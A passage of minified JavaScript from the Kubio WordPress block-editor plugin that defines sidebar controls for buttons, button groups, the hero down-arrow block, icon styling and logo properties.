links","kubio"),initialOpen:r=!0,computed:s,dataHelper:l}=e,{iconGetter:u,hSpaceDefault:c,defaultTextAlign:p}=s,[d,m]=(0,op.useSessionProp)(l.clientId,"content-group-props-opened",r);return(0,Je.jsxs)(ut.KubioPanelBody,{title:t,initialOpen:r,opened:d,onToggle:()=>{m(!d)},children:[(0,Je.jsx)(ut.SortableCollapseGroupWithData,{selectItem:!0,iconGetter:u,addButtonText:o,selectPrevious:!0,label:n}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:i,type:"prop",path:"layout.hSpace",media:"auto",defaultValue:c,min:0,max:100,capMax:!0,capMin:!0}),(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{path:"textAlign",type:"style",label:a,defaultValue:p,style:Xc})]})})),ap=np,ip={size:{unit:"px",value:"11"},weight:"600",lineHeight:{value:"1",unit:""},transform:"",letterSpacing:{value:"1",unit:"px"}},rp={unit:"px",value:"8"},sp={unit:"px",value:"20"},lp={size:{unit:"px",value:"12"},weight:"600",lineHeight:{value:"1",unit:""},transform:"uppercase",letterSpacing:{value:"1",unit:"px"}},up={unit:"px",value:"12"},cp={unit:"px",value:"24"},pp={size:{unit:"px",value:"14"},weight:"600",transform:"uppercase",lineHeight:{value:"1",unit:""},letterSpacing:{value:"1",unit:"px"}},dp={unit:"px",value:"15"},mp={unit:"px",value:"30"},hp={small:{descendants:{[xu]:{padding:{top:rp,bottom:rp,left:sp,right:sp},typography:ip},[Cu]:{size:ip.size}}},medium:{descendants:{[xu]:{padding:{top:up,bottom:up,left:cp,right:cp},typography:lp},[Cu]:{size:lp.size}}},large:{descendants:{[xu]:{padding:{top:dp,bottom:dp,left:mp,right:mp},typography:pp},[Cu]:{size:pp.size}}}},bp={FIT_TO_CONTENT:"fitToContent",CUSTOM:"custom"},gp=[{value:bp.FIT_TO_CONTENT,label:(0,We.__)("Fit to text","kubio")},{value:bp.CUSTOM,label:(0,We.__)("Fixed width","kubio")}],yp=[{value:jn.HorizontalAlignFlexValues.LEFT,label:(0,We.__)("Left","kubio"),icon:Tn.TextAlignLeft},{value:jn.HorizontalAlignFlexValues.CENTER,label:(0,We.__)("Center","kubio"),icon:Tn.TextAlignCenter},{value:jn.HorizontalAlignFlexValues.RIGHT,label:(0,We.__)("Right","kubio"),icon:Tn.TextAlignRight}],kp={units:[{label:"PX",value:"px"},{label:"%",value:"%"}],optionsByUnit:{px:{min:0,max:300,step:1},"%":{min:0,max:100,step:1}}},fp={values:bp,options:gp,default:bp.FIT_TO_CONTENT},_p={SMALL:"small",MEDIUM:"medium",LARGE:"large",CUSTOM:"custom"},vp={values:_p,options:[{label:(0,We.__)("Small","kubio"),value:_p.SMALL},{label:(0,We.__)("Medium","kubio"),value:_p.MEDIUM},{label:(0,We.__)("Large","kubio"),value:_p.LARGE},{label:(0,We.__)("Custom","kubio"),value:_p.CUSTOM}],optionsInitials:[{label:(0,We.__)("S","kubio"),value:_p.SMALL},{label:(0,We.__)("M","kubio"),value:_p.MEDIUM},{label:(0,We.__)("L","kubio"),value:_p.LARGE},{label:(0,We.__)("Custom","kubio"),value:_p.CUSTOM}]},xp={AFTER:"after",BEFORE:"before"},Cp={iconPosition:{values:xp,options:[{label:(0,We.__)("After","kubio"),value:xp.AFTER},{label:(0,We.__)("Before","kubio"),value:xp.BEFORE}]},buttonSize:vp,horizontalPaddingOptions:{min:0,max:100,step:1,capMax:!1},verticalPaddingOptions:{min:0,max:30,step:1,capMax:!1}},Ip=(0,De.compose)((0,Ne.withColibriDataAutoSave)((e=>{const t=fp.values,{clientId:o}=(0,st.useBlockEditContext)(),{ownerDocument:n}=(0,Ne.useOwnerDocumentContext)(),a={value:e.getPropInMedia("buttonWidth"),onChange:a=>{if(a===t.CUSTOM){const t=(()=>{const e=(0,Ze.getPreviewElementByModelId)(o,n);if(!e)return 0;const t=window.getComputedStyle(e);return(0,Ze.toFixedNoRounding)(parseFloat(t.getPropertyValue("width")),2)})();e.setStyle("width",{unit:"px",value:t},{styledComponent:"outer"});const a=e.getStyle("padding"),i={left:null==a?void 0:a.left,right:null==a?void 0:a.right};e.setPropInMedia("customWidth.lastHorizontalPadding",i)}else e.setStyle("width",null,{styledComponent:"outer",unset:!0});e.setPropInMedia("buttonWidth",a),(o=>{if(o===t.CUSTOM)e.setStyle("padding.left",null,{unset:!0}),e.setStyle("padding.right",null,{unset:!0});else{const t=e.getPropInMedia("customWidth.lastHorizontalPadding");e.setStyle("padding",t),e.setStyle("textAlign",null,{unset:!0})}})(a)}};return{buttonWidthIs:{fit:t.FIT_TO_CONTENT===a.value,custom:t.CUSTOM===a.value},buttonWidth:a,horizontalPadding:{value:e.getStyle("padding.left"),onChange:t=>{const o={left:t,right:t};e.setStyle("padding",o)}},verticalPadding:{value:e.getStyle("padding.top"),onChange:t=>{const o={top:t,bottom:t};e.setStyle("padding",o)}},width:e.useStylePath("width",{styledComponent:"outer"})}})))((({computed:e})=>{const{buttonWidth:t,width:o,buttonWidthIs:n,horizontalPadding:a,verticalPadding:i}=e;return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.GutentagSelectControl,{label:(0,We.__)("Button width","kubio"),...t,options:fp.options}),n.custom&&(0,Je.jsx)(ut.RangeWithUnitControl,{...kp,...o,label:(0,We.__)("Width","kubio"),allowReset:!1}),n.fit&&(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Horizontal padding","kubio"),...Cp.horizontalPaddingOptions,...a,allowReset:!1}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Vertical padding","kubio"),...Cp.verticalPaddingOptions,...i,allowReset:!1}),n.custom&&(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(ut.HorizontalFlexAlignControlWithPath,{label:(0,We.__)("Text align","kubio"),path:"justifyContent",options:yp,type:Ne.WithDataPathTypes.STYLE,style:xu})})]})})),Ep=(0,Ne.withColibriDataAutoSave)((e=>{const t=e.getPropInMedia("buttonSize"),o=t===Cp.buttonSize.values.CUSTOM;return{buttonSize:{value:t,onChange:t=>{e.setPropInMedia("buttonSize",t),(t=>{const o={styledComponent:vu,unset:!0};"custom"!==t&&(e.setStyle("width",null,o),e.setPropInMedia("buttonWidth","fitToContent"))})(t),(t=>{hp[t]&&(0,Ne.applyMultipleStyles)(hp[t],e)})(t)},options:window.isKubioBlockEditor?Cp.buttonSize.options:Cp.buttonSize.optionsInitials},showButtonWidth:o}}))((({computed:e})=>{const{buttonSize:t,showButtonWidth:o}=e;return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.ToggleGroup,{label:(0,We.__)("Button size","kubio"),...t}),o&&(0,Je.jsx)(Ip,{}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{})]})})),Tp={toolbar1:"bold,italic"},Sp=({computed:e,withAlign:t,buttonPropsBefore:o,buttonPropsAfter:n,dataHelper:a})=>{const{showIcon:i,onAdd:r,groupClientId:s,showGroup:l,isOutsideOfGroup:u,groupTextAlign:c}=e;return(0,Je.jsxs)(Je.Fragment,{children:[o,(0,Je.jsx)(ut.TinymceControlWithPath,{label:(0,We.__)("Button text","kubio"),path:"text",type:Ne.WithDataPathTypes.ATTRIBUTE,editorSettings:Tp,onTextChange:e=>{const t={styledComponent:tp},o={value:0,unit:"px"},{left:n,right:i}=a.getStyle("margin",{},t);if(""===a.getAttribute("text")&&(null!=n&&n.value||null!=i&&i.value)){const e={right:o,left:o};a.setStyle("margin",e,t)}}}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(Ep,{}),(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Display icon","kubio"),type:Ne.WithDataPathTypes.PROP,path:"showIcon",isProOnly:!0,upgradeUrlArgs:{source:"button",content:"icon"}}),i&&(0,Je.jsx)(ut.IconPickerWithPath,{path:"icon.name",type:Ne.WithDataPathTypes.ATTRIBUTE}),!l&&t&&(0,Je.jsxs)(Oe.DataHelperContextFromClientId,{clientId:s,children:[(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Button align","kubio"),type:Ne.WithDataPathTypes.STYLE,path:"textAlign",defaultValue:c,style:ep})]}),!l&&(0,Je.jsxs)(Je.Fragment,{children:[!u&&(0,Je.jsx)("div",{className:"components-base-control",children:(0,Je.jsx)(Re.Button,{isPrimary:!0,icon:Tn.AddItemIcon,onClick:r,className:"kubio-button-group-button sortable-collapse__add-button",children:(0,We.__)("Add button","kubio")})}),n]})]})},wp=(0,De.compose)([(0,Ne.withComputedData)((e=>{const t=e.withParent(),o=t.blockName===hn.BUTTON_GROUP&&(null==t?void 0:t.clientId),n={styledComponent:ep},a=t.useStylePath("textAlign",n),{childrenIds:i}=(0,Le.useSelect)((e=>{const{getBlockOrder:t}=e("core/block-editor");return{childrenIds:o?t(o):[]}})),r=(null==i?void 0:i.length)>1,s=t.blockName!==hn.BUTTON_GROUP;return{showIcon:e.getProp("showIcon"),isOutsideOfGroup:s,groupTextAlign:a,showGroup:r,onAdd:()=>{e.duplicate({unlink:!0,selectDuplicate:!1})},groupClientId:o}})),(0,De.createHigherOrderComponent)((e=>t=>{const{dataHelper:o}=t,n=o.withParent().blockName===hn.VIDEO,a=!n&&t.withAlign;return(0,Je.jsx)(e,{...t,withAlign:a,hasVideoParent:n})}),"checkParent")])((e=>{const{withInspector:t=!0,withPanel:o=!0,withRecommendationsControl:n,hasVideoParent:a}=e,{groupClientId:i,showGroup:r}=e.computed,s=n&&!a;return t?(0,Je.jsxs)(st.InspectorControls,{children:[o?(0,Je.jsxs)(Je.Fragment,{children:[s&&(0,Je.jsx)(ut.KubioPanelBody,{title:(0,We.__)("Button Action","kubio"),children:(0,Je.jsx)(ut.LinkRecommendationsControlWithData,{})}),(0,Je.jsx)(ut.KubioPanelBody,{title:(0,We.__)("Button Properties","kubio"),initialOpen:!s,children:(0,Je.jsx)(Sp,{...e})})]}):(0,Je.jsx)(Sp,{...e}),r&&(0,Je.jsx)(Oe.DataHelperContextFromClientId,{clientId:i,children:(0,Je.jsx)(ap,{panelLabel:(0,We.__)("Button Group","kubio"),addButtonText:(0,We.__)("Add button","kubio"),alignLabel:(0,We.__)("Button group align","kubio"),spaceBetweenLabel:(0,We.__)("Space between buttons","kubio"),initialOpen:!s})})]}):(0,Je.jsxs)(Je.Fragment,{children:[o?(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(ut.KubioPanelBody,{title:(0,We.__)("Button Properties","kubio"),children:(0,Je.jsx)(Sp,{...e})})}):(0,Je.jsx)(Sp,{...e}),r&&(0,Je.jsx)(Oe.DataHelperContextFromClientId,{clientId:i,children:(0,Je.jsx)(ap,{panelLabel:(0,We.__)("Button Group","kubio"),addButtonText:(0,We.__)("Add button","kubio"),alignLabel:(0,We.__)("Button group align","kubio"),spaceBetweenLabel:(0,We.__)("Space between buttons","kubio")})})]})})),Pp=(0,Ne.withComputedData)((e=>{const t=e.withChildren();return{buttonId:je().get(t,"0.options.clientId")}}))((({computed:e,dataHelper:t})=>{const{buttonId:o}=e;return"button"===t.getProp("downarrowType")&&(0,Je.jsx)(Oe.DataHelperContextFromClientId,{clientId:o,children:(0,Je.jsx)(wp,{withAlign:!1,withInspector:!1,withPanel:!1,showGroup:!1})})})),Ap=Pp,jp={default:{style:{descendants:{inner:{transform:{translate:[{axis:"x",value:{value:0,unit:"px"}},{axis:"y",value:{value:0,unit:"px"}}]}}}},props:{bounce:!0,downarrowType:"icon"}},elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{props:{className:["h-scroll-to__outer d-flex justify-content-center h-down-arrow"]}},inner:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}},Bp={styledComponent:Vc};function Np(e){return je().get(jp.default,`style.descendants.${e}`)}const Op=(0,Ne.withComputedData)(((e,t)=>{const o=(0,Ne.useTransformStyle)(e);let n=Np("inner.transform.translate[0].value");const a=o.useStylePath("transform.translate.x",{unsetValue:n,styledInner:Bp},n);return n=Np("inner.transform.translate[1].value"),{horizontalOffset:a,verticalOffset:o.useStylePath("transform.translate.y",{unsetValue:n,styledInner:Bp},n),dataHelper:e,downarrowType:e.getProp("downarrowType","icon")}}))((({computed:e})=>{const{horizontalOffset:t,verticalOffset:o,dataHelper:n,downarrowType:a}=e,i=!!n.getProp("bounce"),{getBlocksByClientId:r}=(0,Le.useSelect)((e=>e("core/block-editor"))),{insertBlock:s,removeBlocks:l}=(0,Le.useDispatch)("core/block-editor");return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Options","kubio"),children:[(0,Je.jsx)(ut.InlineLabeledControl,{label:(0,We.__)("Bounce animation","kubio"),children:(0,Je.jsx)(Re.FormToggle,{checked:i,onChange:()=>{const e=!n.getProp("bounce");n.setProp("bounce",e)}})}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{fit:!1}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Horizontal offset","kubio"),min:-500,max:500,step:1,capMin:!1,...t,...Bp}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Vertical offset","kubio"),min:-500,max:500,step:1,capMin:!1,...o,...Bp}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{fit:!1}),(0,Je.jsx)(ut.ToggleGroup,{label:(0,We.__)("Type","kubio"),value:a,options:$c,onChange:e=>{n.withChildren().forEach((e=>{let t=r(e.clientId);t=t[0],l(t.clientId,!0)})),n.setProp("downarrowType",e);let t={};"icon"===e?t=(0,gt.createBlock)(...jc):"button"===e&&(t=(0,gt.createBlock)(...Nc)),s(t,0,n.clientId,!1)}}),(0,Je.jsx)(qc,{}),(0,Je.jsx)(Ap,{})]})})})),Rp=Op,Dp=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(Rp,{})}),Lp=(0,Ne.withComputedData)(((e,t)=>{const{styledElement:o}=t,n={value:e.getStyle("size",e.getStyle("width","",{styledComponent:o}),{styledComponent:o}),onChange:t=>{e.unsetStyle("width","",{styledComponent:o}),e.unsetStyle("height","",{styledComponent:o}),e.setStyle("size",t,{styledComponent:o})}};return{rotateZ:(0,Ne.useTransformStyle)(e).useStylePath("transform.rotate.z",{},{value:0,unit:"deg"}),size:n}}))((({computed:e,styledElement:t})=>{const o={type:Ne.WithDataPathTypes.STYLE,style:t},{rotateZ:n,size:a}=e;return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Icon","kubio"),children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Icon color","kubio"),path:"fill",...o}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Icon hover color","kubio"),path:"fill",state:"hover",...o}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Icon size","kubio"),max:300,min:0,capMin:!0,...a}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Icon rotate","kubio"),max:180,min:-180,capMax:!0,capMin:!0,defaultUnit:"deg",...n})]})})),Mp=Lp,Wp={OUTER:"outer",INNER:"inner"},Hp={[Wp.OUTER]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal","hover"]}},[Wp.INNER]:{label:(0,We.__)("Icon","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TRANSITION],states:["normal","hover"]}}},Gp=(0,Ne.withComputedData)(((e,t)=>{const{styledElement:o=Wp.INNER}=t;return{spacing:{value:e.getStyle("padding.top",null,{styledComponent:o}),onChange:t=>{const n={styledComponent:o};e.setStyle("padding.top",t,n),e.setStyle("padding.bottom",t,n),e.setStyle("padding.left",t,n),e.setStyle("padding.right",t,n)}}}}))((({computed:e,styledElement:t=Wp.INNER}=props)=>{const{spacing:o}=e,n={type:Ne.WithDataPathTypes.STYLE,style:t},a="normal",i=[{value:a,label:(0,We.__)("Normal","kubio")},{value:"hover",label:(0,We.__)("Hover","kubio")}],[r,s]=(0,Me.useState)(a);return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Background and border","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.ToggleGroup,{options:i,value:r,onChange:e=>{s(e)}}),(0,Je.jsx)(ut.GradientColorPickerWithPath,{label:(0,We.__)("Icon background","kubio"),path:"background",state:r,...n}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Border color","kubio"),path:["border.top.color","border.bottom.color","border.left.color","border.right.color"],state:r,...n}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Spacing","kubio"),...o}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.BordersAndRadiusWithPath,{path:"border",...n,withColor:!1})]})})),Up=Gp,Fp=(0,Ne.withComputedData)((e=>{const t=e.withChildren();return{iconId:je().get(t,"0.clientId")}}))((({computed:e,dataHelper:t})=>{const{iconId:o}=e,n=Wp.ICON;return"icon"===t.getProp("downarrowType")&&(0,Je.jsxs)(Oe.DataHelperContextFromClientId,{clientId:o,children:[(0,Je.jsx)(Mp,{styledElement:n}),(0,Je.jsx)(Up,{styledElement:n})]})})),zp=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(Fp,{})}),Vp={type:Ne.WithDataPathTypes.STYLE,style:xu},Yp=(0,Ne.withColibriDataAutoSave)()((()=>{const e="normal",t=[{value:e,label:(0,We.__)("Normal","kubio")},{value:"hover",label:(0,We.__)("Hover","kubio")}],[o,n]=(0,Me.useState)(e),a={normal:(0,bt.useInheritedTypographyValue)("a","color"),hover:(0,bt.useInheritedTypographyValue)("a","states.hover.color")};return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Button style","kubio"),children:[(0,Je.jsx)(ut.ToggleGroup,{options:t,value:o,onChange:e=>n(e)}),(0,Je.jsx)(ut.GradientColorPickerWithPath,{label:(0,We.__)("Background","kubio"),path:"background",state:o,...Vp}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",state:o,...Vp,defaultValue:a[o]}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Border color","kubio"),path:["border.top.color","border.bottom.color","border.left.color","border.right.color"],state:o,...Vp}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",...Vp,nodeType:"a"}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.BordersAndRadiusWithPath,{path:"border",...Vp,withColor:!1}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.BoxShadowWithPath,{path:"boxShadow",...Vp})]})})),$p={AFTER:"after",BEFORE:"before"},Kp={iconPosition:{values:$p,options:[{label:(0,We.__)("After","kubio"),value:$p.AFTER},{label:(0,We.__)("Before","kubio"),value:$p.BEFORE}]}},qp={styledComponent:ku},Xp=(0,Ne.withComputedData)((e=>{const t=Kp.iconPosition.values,o={value:e.getProp("iconPosition"),onChange:o=>{e.setProp("iconPosition",o);const n=e.getStyle("margin",{},qp),a={value:0,unit:"px"},i={left:o===t.AFTER?null==n?void 0:n.right:a,right:o===t.BEFORE?null==n?void 0:n.left:a};e.setStyle("margin",i,qp)}};let n=null;n=o.value===t.AFTER?"margin.left":"margin.right";const a={value:e.getStyle(n,{},qp),onChange:t=>e.setStyle(n,t,qp)};return{showIcon:e.getProp("showIcon"),iconPosition:o,iconSpacing:a}}))((({computed:e,dataHelper:t})=>{const{iconPosition:o,iconSpacing:n,showIcon:a}=e,i={type:Ne.WithDataPathTypes.STYLE,style:ku},r=(0,bt.useInheritedTypographyValue)("a"),s=t.getStyle("typography.color",null,{styledComponent:yu}),l=t.getStyle("typography.color",null,{styledComponent:yu,state:"hover"}),u=t.getStyle("fill")||s||r.color,c=t.getStyle("fill",null,{state:"hover"})||l||r.states.hover.color;return(0,Je.jsx)(Je.Fragment,{children:a&&(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Icon style","kubio"),children:[(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Icon size","kubio"),path:"size",max:30,capMax:!1,capMin:!0,...i}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Icon color","kubio"),path:"fill",...i,defaultValue:u}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Icon hover color","kubio"),path:"fill",state:"hover",...i,defaultValue:c}),(0,Je.jsx)(ut.GutentagSelectControl,{label:(0,We.__)("Icon position","kubio"),path:"iconPosition",options:Kp.iconPosition.options,...o}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Icon spacing","kubio"),capMax:!1,max:50,...n})]})})})),Qp=Xp,Zp=Qp,Jp=(0,Ne.withComputedData)((e=>{const t=e.withChildren();return{buttonId:je().get(t,"0.clientId")}}))((({computed:e,dataHelper:t})=>{const{buttonId:o}=e;return"button"===t.getProp("downarrowType")&&(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsxs)(Oe.DataHelperContextFromClientId,{clientId:o,children:[(0,Je.jsx)(Yp,{}),(0,Je.jsx)(Zp,{})]})})})),ed=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(Jp,{})}),td=()=>(0,Je.jsxs)(Oe.StyleInspectorControls,{children:[(0,Je.jsx)(zp,{}),(0,Je.jsx)(ed,{})]}),od=[hn.ICON,hn.BUTTON],nd=(0,De.compose)((0,Ne.withColibriData)(),(0,Ne.withStyledElements)((({dataHelper:e}={})=>({[zc]:{className:()=>{const t=[];return e.getProp("bounce")&&t.push("move-down-bounce"),t.join(" ")}},[Vc]:{className:()=>[]}}))))((e=>{const{StyledElements:t,computed:o}=e,n=bn({},{templateLock:!1,renderAppender:!1,allowedBlocks:od,orientation:"horizontal"});return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(t.Outer,{children:(0,Je.jsx)(t.Inner,{children:(0,Je.jsx)("div",{...n})})})})})),ad=(0,Ne.withPropsChecker)((function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Dp,{}),(0,Je.jsx)(td,{}),(0,Je.jsx)(nd,{...e})]})})),id=hn.DOWN_ARROW,rd=[...je().map(Xe,(function(e){return je().filter(e,(function(e){return"Duplicate"!==e.label}))}))];(0,Pe.addFilter)("kubio.rightClickMenu.menuItems",id,((e,t)=>t===id?rd:e));const sd={name:"kubio/downarrow",parent:["kubio/hero"],usesContext:["navigation"],attributes:{kubio:{type:"object"}},supports:{kubio:{default:{style:{descendants:{inner:{transform:{translate:[{axis:"x",value:{value:0,unit:"px"}},{axis:"y",value:{value:0,unit:"px"}}]}}}},props:{bounce:!0,downarrowType:"icon"}},elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{props:{className:["h-scroll-to__outer d-flex justify-content-center h-down-arrow"]}},inner:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}},multiple:!1}},ld=(0,Sn.extendBlockMeta)(sd,{title:(0,We.__)("Down Arrow","kubio"),icon:Tn.BlockIcons.DownArrow,keywords:[],parent:["kubio/hero"],apiVersion:2,supports:{kubio:{elementsByName:Yc},reusable:!1,html:!1,inserter:!0,multiple:!1},edit:ad,save:function(){return(0,Je.jsx)(st.InnerBlocks.Content,{})},displayAdvancedPanelFor:(e,t)=>{const{getBlocks:o}=t("core/block-editor");return o(e)[0].clientId}}),ud=[{label:(0,We.__)("Simple","kubio"),items:[{value:"image",label:(0,We.__)("Logo image","kubio")},{value:"text",label:(0,We.__)("Site title","kubio")}]},{label:(0,We.__)("Integral","kubio"),items:(0,lt.addProTagToItems)([{value:"imageAbove",label:(0,We.__)("Image above text","kubio")},{value:"imageBelow",label:(0,We.__)("Image below text","kubio")},{value:"imageLeft",label:(0,We.__)("Image with text on right","kubio")},{value:"imageRight",label:(0,We.__)("Image with text on left","kubio")}],[])}],cd=[{value:"autodetect-mode",label:(0,We.__)("Default","kubio")},{value:"normal-mode",label:(0,We.__)("Normal","kubio")},{value:"alternate-mode",label:(0,We.__)("Alternate","kubio")}],pd=(0,Ne.withComputedData)((e=>{const t=e.getAttribute("linkTo"),o={value:e.getAttribute("linkTo"),onChange:t=>{e.setAttribute("linkTo",t)}};return{layoutType:{value:e.getProp("layoutType"),onChange:t=>{e.setProp("layoutType",t)}},linkTo:t,linkToProps:o}}))((({computed:e})=>{const{linkTo:t,linkToProps:o,layoutType:n}=e,[,a]=(0,Bt.useEntityProp)("root","site","title"),{title:i,logoImage:r,alternateLogoImage:s,setLogoImage:l,setAlternateLogoImage:u,rawAlternateLogoImage:c}=(0,bt.useSiteLogoImages)(),[p,d]=(0,Me.useState)(!!c),m=[{value:"homePage",label:(0,We.__)("Home page","kubio")},{value:"customURL",label:(0,We.__)("Custom URL","kubio")}];let h;return"customURL"===t&&(h=(0,Je.jsx)(Re.BaseControl,{children:(0,Je.jsx)(ut.LinkControlWithData,{})})),(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsxs)(Re.PanelBody,{className:"logo-properties",title:(0,We.__)("Logo Properties","kubio"),children:[(0,Je.jsx)(ut.GutentagSelectControl,{label:(0,We.__)("Logo type","kubio"),options:ud,...n}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),"image"!==n.value&&(0,Je.jsx)(ut.InputControl,{label:(0,We.__)("Site title","kubio"),value:i,onChange:a}),"text"!==n.value&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.MediaPicker,{label:(0,We.__)("Logo image","kubio"),value:r,type:"image",showButton:!0,buttonLabel:(0,We.__)("Change image","kubio"),onChange:e=>l(e.id),hideAIImageButton:!0}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.TooltipWrapper,{leftPosition:"130px",text:(0,We.__)("Use a different image logo suitable to your chosen background color","kubio"),children:(0,Je.jsx)(ut.MediaPicker,{isProOnly:!0,label:(0,We.__)("Alternate logo image","kubio"),value:s,type:"image",showButton:!0,buttonLabel:(0,We.__)("Change alternate image","kubio"),onChange:e=>u(e.url),upgradeUrlArgs:{source:"logo",content:"alternateLogo"},toggable:!0,toggleValue:p,updateToggleValue:e=>{d(e),e||u(null)},hideAIImageButton:!0})}),p&&(0,Je.jsx)(ut.ToggleGroupWithPath,{label:(0,We.__)("Current displayed image","kubio"),options:cd,type:Ne.WithDataPathTypes.ATTRIBUTE,path:"mode"})]}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.GutentagSelectControl,{label:(0,We.__)("Link to","kubio"),options:m,...o}),h]})})})),dd=pd,md=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(dd,{})}),hd="container",bd="image",gd="alternateImage",yd="generalImage",kd="text",fd={[hd]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER],states:jn.StatesPresetsEnum.BASIC}},[kd]:{label:(0,We.__)("Text","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BASIC,filters:{[jn.StylesEnum.BORDER]:{supportsBoxShadow:!1}}}},[yd]:{label:(0,We.__)("Image","kubio"),supports:{styles:[jn.StylesEnum.SPACING,jn.StylesEnum.BORDER],states:jn.StatesPresetsEnum.NONE,filters:{[jn.StylesEnum.BORDER]:{supportsBoxShadow:!1},[jn.StylesEnum.SPACING]:{supportsPadding:!1}}}}},_d=(0,Ne.withColibriDataAutoSave)((e=>{const t=e.getProp("layoutType"),o={value:e.getStyle("justifyContent"),onChange:t=>{e.setStyle("justifyContent",t),e.setStyle("alignItems",t)},onReset:()=>{e.setStyle("justifyContent","center"),e.setStyle("alignItems","center")}};return{layoutType:t,maxHeight:e.getAttribute("maxHeight"),textAlign:o}}))((({computed:e})=>{const{layoutType:t,textAlign:o}=e,n={type:Ne.WithDataPathTypes.STYLE,style:kd},a=(0,bt.useInheritedTypographyValue)("p","color");let i;return i="image"===t?(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Max image height","kubio"),path:"maxHeight",max:150,type:Ne.WithDataPathTypes.STYLE,style:yd})}):"text"===t?(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Logo text color","kubio"),path:"typography.color",defaultValue:a,...n}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",...n})]}):(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Max image height","kubio"),max:150,path:"maxHeight",type:Ne.WithDataPathTypes.STYLE,style:yd}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Logo text 